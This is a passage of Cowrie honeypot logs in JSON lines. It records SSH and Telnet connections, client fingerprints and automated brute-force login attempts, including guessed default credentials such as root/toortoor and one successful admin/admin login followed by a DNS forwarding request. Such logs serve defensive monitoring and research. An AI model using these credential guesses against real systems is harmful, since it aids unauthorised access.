ha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:26:46.550724Z","src_ip":"209.99.185.195","session":"74002aac73d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Qazwsx123","message":"login attempt [ubuntu/Qazwsx123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:26:47.018202Z","src_ip":"209.99.185.195","session":"74002aac73d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:26:48.129541Z","src_ip":"209.99.185.195","session":"74002aac73d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.95","src_port":46641,"dst_ip":"159.203.135.109","dst_port":22,"session":"af4761b33357","protocol":"ssh","message":"New connection: 193.24.211.95:46641 (159.203.135.109:22) [session: af4761b33357]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:27:42.904955Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:27:42.928060Z","src_ip":"193.24.211.95","session":"af4761b33357","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:27:43.015361Z","src_ip":"193.24.211.95","session":"af4761b33357","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"timeserver","message":"login attempt [root/timeserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:27:43.571585Z","src_ip":"193.24.211.95","session":"af4761b33357","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00194692611694,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:27:44.116881Z","src_ip":"185.30.203.91","session":"87b5d066598a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:27:44.687243Z","src_ip":"193.24.211.95","session":"af4761b33357","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.30.203.91","src_port":36792,"dst_ip":"159.203.135.109","dst_port":23,"session":"339d6f9e9e7b","protocol":"telnet","message":"New connection: 185.30.203.91:36792 (159.203.135.109:23) [session: 339d6f9e9e7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:27:52.739385Z"}
{"eventid":"cowrie.session.closed","duration":2.0222325325012207,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:27:54.761473Z","src_ip":"185.30.203.91","session":"339d6f9e9e7b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.185.195","src_port":40954,"dst_ip":"10.17.0.5","dst_port":22,"session":"a71b949a315e","protocol":"ssh","message":"New connection: 209.99.185.195:40954 (10.17.0.5:22) [session: a71b949a315e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:28:05.243537Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:28:05.250122Z","src_ip":"209.99.185.195","session":"a71b949a315e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:28:05.359849Z","src_ip":"209.99.185.195","session":"a71b949a315e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"centos","password":"centos","message":"login attempt [centos/centos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:28:05.827939Z","src_ip":"209.99.185.195","session":"a71b949a315e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:28:06.940013Z","src_ip":"209.99.185.195","session":"a71b949a315e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.65.3.189","src_port":56576,"dst_ip":"10.17.0.5","dst_port":23,"session":"e52e656c545b","protocol":"telnet","message":"New connection: 69.65.3.189:56576 (10.17.0.5:23) [session: e52e656c545b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:28:25.076265Z"}
{"eventid":"cowrie.session.connect","src_ip":"187.16.96.250","src_port":56584,"dst_ip":"159.203.135.109","dst_port":22,"session":"def0d17051f9","protocol":"ssh","message":"New connection: 187.16.96.250:56584 (159.203.135.109:22) [session: def0d17051f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:28:48.601043Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:28:48.604083Z","src_ip":"187.16.96.250","session":"def0d17051f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:28:48.719934Z","src_ip":"187.16.96.250","session":"def0d17051f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ali","password":"ali@123","message":"login attempt [ali/ali@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:28:49.215965Z","src_ip":"187.16.96.250","session":"def0d17051f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:28:50.334211Z","src_ip":"187.16.96.250","session":"def0d17051f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":33784,"dst_ip":"10.17.0.5","dst_port":22,"session":"c4da55116fda","protocol":"ssh","message":"New connection: 80.94.92.184:33784 (10.17.0.5:22) [session: c4da55116fda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:28:55.178603Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:28:55.225798Z","src_ip":"80.94.92.184","session":"c4da55116fda","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:28:55.371601Z","src_ip":"80.94.92.184","session":"c4da55116fda","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"solv","message":"login attempt [ubuntu/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:28:56.147687Z","src_ip":"80.94.92.184","session":"c4da55116fda","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:28:57.330645Z","src_ip":"80.94.92.184","session":"c4da55116fda","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.65.3.189","src_port":33626,"dst_ip":"10.17.0.5","dst_port":23,"session":"8789567b55ac","protocol":"telnet","message":"New connection: 69.65.3.189:33626 (10.17.0.5:23) [session: 8789567b55ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:28:57.746523Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.65.3.189","src_port":33720,"dst_ip":"10.17.0.5","dst_port":23,"session":"b85a265a98fb","protocol":"telnet","message":"New connection: 69.65.3.189:33720 (10.17.0.5:23) [session: b85a265a98fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:28:58.676967Z"}
{"eventid":"cowrie.session.closed","duration":37.673274755477905,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:29:02.749373Z","src_ip":"69.65.3.189","session":"e52e656c545b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.700300455093384,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:29:32.446715Z","src_ip":"69.65.3.189","session":"8789567b55ac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.37293791770935,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:29:35.049796Z","src_ip":"69.65.3.189","session":"b85a265a98fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":45704,"dst_ip":"10.17.0.5","dst_port":22,"session":"db9df3d35046","protocol":"ssh","message":"New connection: 87.251.64.176:45704 (10.17.0.5:22) [session: db9df3d35046]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:30:21.921700Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:30:21.927344Z","src_ip":"87.251.64.176","session":"db9df3d35046","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:30:22.025339Z","src_ip":"87.251.64.176","session":"db9df3d35046","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:30:22.317910Z","src_ip":"87.251.64.176","session":"db9df3d35046","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:30:22.419314Z","session":"db9df3d35046","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:30:22.520737Z","src_ip":"87.251.64.176","session":"db9df3d35046","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:30:22.754063Z","src_ip":"87.251.64.176","session":"db9df3d35046","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.155.82.56","src_port":38200,"dst_ip":"10.17.0.5","dst_port":23,"session":"823c0960e9b2","protocol":"telnet","message":"New connection: 189.155.82.56:38200 (10.17.0.5:23) [session: 823c0960e9b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:30:23.427151Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.24.158.62","src_port":58066,"dst_ip":"159.203.135.109","dst_port":23,"session":"c26f91f6891d","protocol":"telnet","message":"New connection: 23.24.158.62:58066 (159.203.135.109:23) [session: c26f91f6891d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:30:31.882358Z"}
{"eventid":"cowrie.session.closed","duration":13.458683967590332,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:30:36.885703Z","src_ip":"189.155.82.56","session":"823c0960e9b2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.167154550552368,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:30:46.049382Z","src_ip":"23.24.158.62","session":"c26f91f6891d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.185.195","src_port":41090,"dst_ip":"10.17.0.5","dst_port":22,"session":"89a35e3b8f19","protocol":"ssh","message":"New connection: 209.99.185.195:41090 (10.17.0.5:22) [session: 89a35e3b8f19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:30:47.043324Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:30:47.047990Z","src_ip":"209.99.185.195","session":"89a35e3b8f19","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:30:47.157753Z","src_ip":"209.99.185.195","session":"89a35e3b8f19","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"toortoor","message":"login attempt [root/toortoor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:30:47.628002Z","src_ip":"209.99.185.195","session":"89a35e3b8f19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:30:48.740021Z","src_ip":"209.99.185.195","session":"89a35e3b8f19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":44908,"dst_ip":"10.17.0.5","dst_port":23,"session":"6af08716d399","protocol":"telnet","message":"New connection: 103.115.172.252:44908 (10.17.0.5:23) [session: 6af08716d399]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:30:58.561479Z"}
